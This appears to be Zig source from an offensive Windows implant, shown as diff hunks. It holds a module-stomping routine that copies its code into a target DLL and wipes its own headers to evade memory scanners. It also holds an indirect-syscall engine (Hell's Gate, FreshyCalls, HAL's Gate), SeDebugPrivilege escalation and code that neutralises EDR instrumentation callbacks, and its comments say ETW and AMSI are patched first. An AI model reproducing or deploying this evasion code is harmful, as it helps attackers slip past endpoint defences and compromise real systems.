const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return null;
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
// Scan section table for .text
var text_start: ?*anyopaque = null;
var text_size: usize = 0;
for (0..nt.FileHeader.NumberOfSections) |i| {
if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') {
text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
text_size = sections[i].VirtualSize;
break;
}
}
if (text_start == null or text_size == 0) return null;
// Step 1: Make target memory RWX so we can write into it
var target_mut: ?*anyopaque = target_base;
var region_size: win.SIZE_T = target_size;
var old_prot: win.ULONG = 0;
const st = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&target_mut,
&region_size,
win.PAGE_EXECUTE_READWRITE,
&old_prot,
);
if (!win.NT_SUCCESS(st)) return null;
// Step 2: Copy our .text into the target DLL's memory range
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
const src = @as([*]const u8, @ptrCast(text_start.?));
@memcpy(dest[0..text_size], src[0..text_size]);
// Step 3: Restore target to RX so it looks normal to memory scanners
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
var restore_size: win.SIZE_T = target_size;
var new_old: win.ULONG = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&restore_mut,
&restore_size,
win.PAGE_EXECUTE_READ,
&new_old,
);
// Step 4: Zero out our original headers so scanners can't find a rogue DLL header
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
const e_lfanew = dos.e_lfanew;
@memset(old_bytes[0..64], 0);
@memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);
g_evasion_relocated = true;
return our_base;
}
+431
View File
@@ -0,0 +1,431 @@
// Syscall dispatch — SSN extraction, indirect syscalls, IC removal.
// References
// Hell's Gate: https://github.com/am0nsec/HellsGate
// FreshyCalls: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
// Indirect syscalls (SysWhispers): https://github.com/jthuraisamy/SysWhispers
// CFG-aware IC: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
// 1. Global pool — gadget addrs, ntdll base, PRNG state, FreshyCalls table
// 2. Assembly stubs — hells_gate, hell_descent
// 3. xorshift64 PRNG
// 4. Exception dir cache (HAL's Gate fallback)
// 5. build_freshy_table — Nt* exports → sort RVA → SSN = position
// 6. extract_ssn — FreshyCalls → HAL's Gate
// 7. syscall_dispatch — SSN → random gadget → dispatch
// 8. NT API wrappers
// 9. remove_edr_callbacks — SeDebugPrivilege → ProcessInstrumentationCallback (jmp r10 if CFG)
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const api = @import("api.zig");
// 1. global pool — syscall gadgets, ntdll base, PRNG state
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
var g_syscall_count: usize = 0;
var g_ntdll_base: ?*anyopaque = null;
var g_init_done: bool = false;
var g_rand_state: u64 = 0;
// FreshyCalls table — ntdll Nt* exports sorted by RVA, SSN = position in sorted order
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false;
// jmp r10 gadget (41 FF E2) found in ntdll at init — used as CFG-safe IC neutralizer
var g_jmp_r10_gadget: usize = 0;
// 2. assembly stubs — hells_gate encrypts SSN, hell_descent jumps to gadget
extern fn hells_gate(ssn: u32, syscall_addr: usize) void;
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
// 3. xorshift64 PRNG — seeded once from stack address ^ tick count
fn xorshift64() u64 {
var state = g_rand_state;
state ^= state << 13;
state ^= state >> 7;
state ^= state << 17;
g_rand_state = state;
return state;
}
// 4. exception directory cache — for HAL's Gate fallback
var g_ntdll_size: usize = 0;
var g_exc_begin: usize = 0;
var g_exc_count: usize = 0;
// FreshyCalls table builder — walks ntdll's export directory, collects Nt* exports
// with real code addresses (skips forwarded exports whose RVAs fall inside the export
// directory range). Sorts by RVA ascending. SSN = position in sorted order.
// Immune to inline hooking because it only reads the export directory and the RVA sort
// order is invariant — EDRs can't fake the linker's function layout.
// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
fn build_freshy_table() void {
const base = g_ntdll_base orelse return;
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [18]u8 },
OptionalHeader: extern struct {
Magic: u16, pad1: [100]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 },
},
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return;
const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
const exp = @as(*align(1) extern struct {
Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16,
Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32,
AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32,
}, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0) return;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
g_freshy_count = 0;
const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
var i: u32 = 0;
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
const name = std.mem.sliceTo(name_ptr, 0);
// Only Nt* exports — Zw* shares identical SSNs and would produce duplicate positions
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
// Skip forwarded exports — their RVAs point inside the export directory
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
g_freshy_entries[g_freshy_count] = FreshyEntry{
.hash = resolve.hash_ror13(name),
.rva = rva,
};
g_freshy_count += 1;
}
// Sort by RVA ascending — SSN = position in sorted order
if (g_freshy_count > 1) {
var bubble_i: usize = 0;
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
var swapped = false;
var bubble_j: usize = 0;
while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) {
if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) {
const tmp = g_freshy_entries[bubble_j];
g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1];
g_freshy_entries[bubble_j + 1] = tmp;
swapped = true;
}
}
if (!swapped) break;
}
}
g_freshy_ready = true;
}
// FreshyCalls lookup — linear scan by hash in the sorted table, returns SSN.
fn extract_ssn_freshy(func_hash: u32) ?u16 {
if (!g_freshy_ready) return null;
for (0..g_freshy_count) |i| {
if (g_freshy_entries[i].hash == func_hash) {
return @as(u16, @intCast(i));
}
}
return null;
}
const RUNTIME_FUNCTION = extern struct {
BeginAddress: u32,
EndAddress: u32,
UnwindInfoAddress: u32,
};
// 5. extract SSN — tries FreshyCalls export-sort lookup first (immune to inline hooks),
// then falls back to HAL's Gate exception directory binary search with 0xB8 scan.
// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
pub fn extract_ssn(func_hash: u32) ?u16 {
if (!init_syscall()) return null;
// 5a. FreshyCalls — look up hash in sorted export table, SSN = position
if (extract_ssn_freshy(func_hash)) |ssn| return ssn;
// 5b. HAL's Gate fallback — exception directory binary search + 0xB8 scan
const base = g_ntdll_base orelse return null;
const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
const func_addr_base = @intFromPtr(func_addr);
const base_addr = @intFromPtr(base);
const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
if (!in_ntdll) return null;
const func_rva = @as(u32, @intCast(func_addr_base - base_addr));
if (g_exc_count == 0) return null;
const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin));
var lo: usize = 0;
var hi: usize = g_exc_count;
while (lo < hi) {
const mid = lo + (hi - lo) / 2;
const entry = funcs[mid];
if (func_rva < entry.BeginAddress) {
hi = mid;
} else if (func_rva >= entry.EndAddress) {
lo = mid + 1;
} else {
const start_rva = entry.BeginAddress;
const end_rva = entry.EndAddress;
const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva));
const scan_len = @min(end_rva - start_rva, 96);
var j: usize = 4;
while (j < scan_len) : (j += 1) {
if (scan_bytes[j] == 0xB8) {
const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
return @as(u16, @intCast(ssn));
}
}
}
return null;
}
}
return null;
}
// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses
// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception
// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal.
// Runs once — subsequent calls no-op.
pub fn init_syscall() bool {
if (g_init_done and g_ntdll_base != null) return true;
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
if (g_ntdll_base == null) return false;
// Seed PRNG from stack address ^ tick count
var stack_var: u64 = 0;
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p));
g_rand_state ^= GetTickCount64();
}
// Scan entire ntdll for "syscall; ret" (0F 05 C3)
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return false;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { NumberOfSections: u16, pad: [18]u8 }, OptionalHeader: extern struct { SizeOfImage: u32, pad: [236]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return false;
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
g_syscall_count = 0;
var j: usize = 0;
const scan_end: usize = nt.OptionalHeader.SizeOfImage;
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
g_syscall_count += 1;
}
}
if (g_syscall_count == 0) return false;
// Cache exception directory range for HAL's Gate fallback
{
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
for (0..nt.FileHeader.NumberOfSections) |si| {
const sec = &sections[si];
if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') {
g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress);
g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
break;
}
}
}
// Build FreshyCalls table — Nt* exports sorted by RVA, SSN = position
build_freshy_table();
// Scan for jmp r10 gadget (41 FF E2) — used by CFG-aware IC nullifier
{
var scan_i: usize = 0;
while (scan_i < scan_end - 3) : (scan_i += 1) {
if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) {
g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]);
break;
}
}
}
g_init_done = true;
return true;
}
// Core dispatcher: extract SSN → pick random syscall gadget → hells_gate to encrypt SSN →
// pack up to 11 args → call hell_descent assembly stub. Gadget address and SSN are XOR'd
// with a mask stored in the assembly data section (stack-based masking, not a real cipher).
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
const gadget = g_syscall_addrs[idx];
hells_gate(@as(u32, ssn), gadget);
const a = [11]usize{
args[0],
if (arg_count > 1) args[1] else 0,
if (arg_count > 2) args[2] else 0,
if (arg_count > 3) args[3] else 0,
if (arg_count > 4) args[4] else 0,
if (arg_count > 5) args[5] else 0,
if (arg_count > 6) args[6] else 0,
if (arg_count > 7) args[7] else 0,
if (arg_count > 8) args[8] else 0,
if (arg_count > 9) args[9] else 0,
if (arg_count > 10) args[10] else 0,
};
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
}
fn ntstatus(r: usize) win.NTSTATUS {
return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r))));
}
// --------- NT API wrappers ---------
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
// Creates a kernel timer object. Used by rc4_sleep for unhooked timing.
pub fn nt_create_timer(timer: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(timer), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateTimer"), &args, 3));
}
// Arms a timer to fire after the specified interval.
pub fn nt_set_timer(timer: win.HANDLE, due_time: *win.LARGE_INTEGER, timer_routine: ?*anyopaque, resume_thread: win.BOOLEAN, period: win.LONG, tolerable_delay: ?*win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(timer), @intFromPtr(due_time), if (timer_routine) |p| @intFromPtr(p) else @as(usize, 0), @intFromBool(resume_thread != 0), @as(usize, @as(u32, @bitCast(period))), if (tolerable_delay) |p| @intFromPtr(p) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetTimer"), &args, 6));
}
// Waits on a timer handle to go signaled. Unhooked alternative to Sleep.
pub fn nt_wait_for_multiple_objects(count: win.ULONG, handles: [*]const win.HANDLE, wait_type: win.BOOLEAN, alertable: win.BOOLEAN, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS {
const args = [_]usize{ @as(usize, count), @intFromPtr(handles), @intFromBool(wait_type != 0), @intFromBool(alertable != 0), if (timeout) |t| @intFromPtr(t) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWaitForMultipleObjects"), &args, 5));
}
// Standard sleep syscall. Spoofed — EDRs commonly hook SleepEx and derivatives.
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
}
// Queries process info (PPI, PE flags, mitigation policies, etc).
pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5));
}
// Sets thread properties (hide from debugger, etc).
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
}
// Closes a handle. Spoofed — EDRs monitor this as a way to detect handle leaks from unknown sources.
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
const args = [_]usize{@intFromPtr(handle)};
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
}
// Pseudo-handles: no need to open, just use these constants
pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); }
pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); }
// Opens a handle to another process by PID.
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
}
// Sets process-level properties. Spoofed because EDR callbacks use this API.
pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
}
// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR
// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation
// is best-effort (requires admin/elevated token on most systems, defanged on 11 23H2+).
fn escalate_debug_priv() void {
const getcp = api.priv_get_current_process orelse return;
const open_tok = api.exec_open_process_token orelse return;
const lookup = api.priv_lookup_privilege_value_w orelse return;
const adjust = api.priv_adjust_token_privileges orelse return;
var h_token: win.HANDLE = undefined;
if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return;
defer _ = nt_close(h_token);
var luid: win.LUID = undefined;
if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return;
var tp = win.TOKEN_PRIVILEGES{
.PrivilegeCount = 1,
.Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }},
};
_ = adjust(h_token, 0, &tp, 0, null, null);
}
// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback).
// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the
// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but
// immediately returns, effectively neutralizing the callback.
// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
// Runs LAST in startup chain — after ETW/AMSI patches, so the "silence" isn't immediately flagged.
pub fn remove_edr_callbacks() void {
escalate_debug_priv();
const PI_CALLBACK: u32 = 40;
const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null;
var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback };
_ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK));
}
// Allocates virtual memory in any process. Spoofed — high-value EDR target.
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
}
// Changes page protection. Spoofed — commonly monitored for shellcode/RWX patterns.
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
}
// Creates a thread in any process. Spoofed — primary EDR/AV injection detection point.
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
}
// Creates a new process. Spoofed — fork-and-run is the loudest IOC EDRs look for.
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
}
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
}
// Queries memory region info for an address range.
pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6));
}
+472
View File
@@ -0,0 +1,472 @@
// Win32 type aliases, constants, and struct definitions — data layout only, no function types.
// 1. Base types — CHAR→i8, DWORD→u32, NTSTATUS→i32, BOOL→i32, ULONG_PTR→usize.
// 2. Pointers/handles — LPVOID→*anyopaque, HANDLE, HMODULE, PHANDLE, HINTERNET.
// 3. Strings — LPSTR→[*:0]u8, LPCWSTR→[*:0]const u16, FARPROC, PDWORD.
// 4. Inline helpers — NT_SUCCESS, memory/page constants (PAGE_NOACCESS→MEM_RELEASE).
// 5. Exception — EXCEPTION_SINGLE_STEP=0x80000004, CONTEXT_DEBUG_REGISTERS=0x00100010.
// 6. Startup — STARTUPINFOEXA, PROCESS_INFORMATION, PROC_THREAD_ATTRIBUTE_*.
// 7. COFF — section/symbol/relocation structs for BOF loader.
// 8. Crypto — BCRYPT_AES_ALGORITHM, ECDH P-256, AES-256-GCM sizes, auth mode info.
// 9. NT kernel — CONTEXT (debug regs at offset 192+), EXCEPTION_RECORD, OBJECT_ATTRIBUTES.
// 10. Security — TOKEN_PRIVILEGES, LUID, SE_PRIVILEGE_ENABLED, token access masks.
const std = @import("std");
pub const WINAPI = std.builtin.CallingConvention.winapi;
pub const CHAR = i8;
pub const UCHAR = u8;
pub const BYTE = u8;
pub const WORD = u16;
pub const WCHAR = u16;
pub const SHORT = i16;
pub const INT = i32;
pub const UINT = u32;
pub const LONG = i32;
pub const DWORD = u32;
pub const DWORD64 = u64;
pub const ULONG = u32;
pub const LONGLONG = i64;
pub const ULONGLONG = u64;
pub const BOOL = i32;
pub const BOOLEAN = u8;
pub const NTSTATUS = i32;
pub const HRESULT = i32;
pub const SIZE_T = usize;
pub const DWORD_PTR = usize;
pub const UINT_PTR = usize;
pub const ULONG_PTR = usize;
pub const LONG_PTR = isize;
pub const LARGE_INTEGER = i64;
pub const INTERNET_PORT = u16;
pub const LPVOID = *anyopaque;
pub const LPCVOID = *const anyopaque;
pub const HANDLE = *anyopaque;
pub const PHANDLE = *HANDLE;
pub const HMODULE = *anyopaque;
pub const HINSTANCE = *anyopaque;
pub const HINTERNET = *anyopaque;
pub const LPSTR = [*:0]u8;
pub const LPCSTR = [*:0]const u8;
pub const LPWSTR = [*:0]u16;
pub const LPCWSTR = [*:0]const u16;
pub const PDWORD = *DWORD;
pub const PULONG = *ULONG;
pub const PSIZE_T = *SIZE_T;
pub const PBOOL = *BOOL;
pub const FARPROC = *const fn() callconv(WINAPI) isize;
// 1a. type aliases done. below: inline helpers + memory/page constants
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
return status >= 0;
}
pub const MEM_COMMIT: ULONG = 0x00001000;
pub const MEM_RESERVE: ULONG = 0x00002000;
pub const MEM_RELEASE: ULONG = 0x00008000;
pub const PAGE_NOACCESS: ULONG = 0x01;
pub const PAGE_READONLY: ULONG = 0x02;
pub const PAGE_READWRITE: ULONG = 0x04;
pub const DLL_PROCESS_ATTACH: ULONG = 1;
pub const PAGE_EXECUTE: ULONG = 0x10;
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40;
pub const CONTEXT_AMD64: DWORD = 0x00100000;
pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010
pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004;
pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
// process/startup constants + structures
pub const STARTF_USESTDHANDLES: DWORD = 0x00000100;
pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000;
pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000;
pub const STARTUPINFOEXA = extern struct {
StartupInfo: STARTUPINFOA,
lpAttributeList: ?*anyopaque,
};
pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
pub const MAX_PATH: usize = 260;
pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000;
pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0;
pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3;
pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000;
pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133;
pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1;
pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) {
BINARY_MESSAGE = 0,
BINARY_FRAGMENT = 1,
UTF8_MESSAGE = 2,
UTF8_FRAGMENT = 3,
CLOSE = 4,
};
// 1c. PE/COFF constants for the BOF loader and export parsing
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2;
